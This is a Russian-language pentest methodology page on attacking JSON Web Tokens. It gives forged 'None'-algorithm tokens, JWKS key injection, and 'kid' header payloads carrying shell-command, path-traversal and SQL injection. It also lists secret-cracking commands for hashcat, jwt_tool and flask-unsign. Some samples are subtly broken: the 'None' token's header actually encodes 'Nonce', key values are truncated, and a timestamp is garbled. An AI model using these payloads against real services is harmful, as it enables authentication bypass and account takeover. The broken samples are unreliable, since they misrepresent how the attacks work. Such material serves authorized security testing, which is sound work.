JWT
:::tip Формат страницы
Порядок действий описан по‑русски. В методике сохранены заголовки (частично локализованы типовые термины), таблицы, иллюстрации и блоки кода: команды и параметры на английском, без перевода синтаксиса.
:::
Порядок действий
- Определите контекст (аутентификация, роль, границы доверия).
- Воспроизведите вектор атаки в контролируемой среде или с явным разрешением на целевой системе.
- Зафиксируйте PoC и влияние (конфиденциальность, целостность, доступность).
- Примеры запросов и команд ниже — на английском.
Методика
Normal JWT
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6Ik1hcm1ldXMiLCJpYXQiOjE1MTYyMzkwMjJ9.JRGkgRg-LNfPIizd0il-HU9JFytJYTUnGFfCFblssdU
# Header
{
"alg": "HS256",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}
# SIGNATURE
<ALGORITHM>( base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET | PRIVATE KEY>)
Weaknesses
None algorithm (CVE-2015-9235)
# Header
{
"alg": "None",
"typ": "JWT"
}
# Payload
{
"sub": "1234567890",
"name": "Marmeus",
"iat": 1516239022
}
eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
None signature
eyJhbGciOiJOb25jZSIsInR5cCI6IkpXVCJ9.eyJzdWIiOiAiMTIzNDU2Nzg5MCIsIm5hbWUiOiJNYXJtZXVzIiwiaWF0IjoxNTE2MjM5MDIyfQ==.
Weak secrets
hashcat -a 0 -m 16500 <jwt> <wordlist>
Kid parameter injections
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1|/usr/bin/uname"
}
{
"kid": "../../path/to/file",
"typ": "JWT",
"alg": "HS256",
"k": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49"
}
{
"alg": "HS256",
"typ": "JWT",
"kid": "xxxx' UNION SELECT 'aaa"
}
JKU parameter
{
"keys": [
{
"kty": "RSA",
"e": "AQAB",
"kid": "006baadc-dcf2-4bab-9a3a-1d57fb67fd49",
"n": "q4As7xzYiAAlED4vW_5SYGTZYHdKwZ8uxNvVt5fJKTtVAqSEKsap9CkNfAjmNVT7UGDBACABZfWLvl-3taBQa7-"
}
]
}
JWKS Injection (CVE-2018-0114)
{
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"typ": "JWT",
"alg": "RS256",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "ed2Nf8sb-sD6ng0-scs5390g-fFD8sfxG",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m"
}
}
Инструменты
Offline
python3 jwt_tool.py <JWT> -C -d <WORDLIST.TXT>
python3 jwt_tool.py <JWT> -X a
python3 jwt_tool.py <JWT> -X k -pk <PUBLIC.pem>
python3 jwt_tool.py <JWT> -X n
python3 jwt_tool.py <JWT> -X i
python3 jwt_tool.py <JWT> -X s
Flask JWT
eyJsb2dnZWRfaW4iOnRydWUsInVzZXJuYW1lIjoiTWFybWV1cyJ9.Yn1FHg.MTb2hVRzzDUc44JPkIxGI6xyr4A
# Payload
{
"logged_in": true,
"username": "Marmeus"
}
# Timestamp
"b}E\u001e"
# Signature
HMAC(base64UrlEncode(header) + "." + base64UrlEncode(payload), <SECRET>)
Инструменты
Flask-unsing
flask-unsign --unsign --no-literal-eval --cookie "<JWT>" -w <WORDLIST.TXT>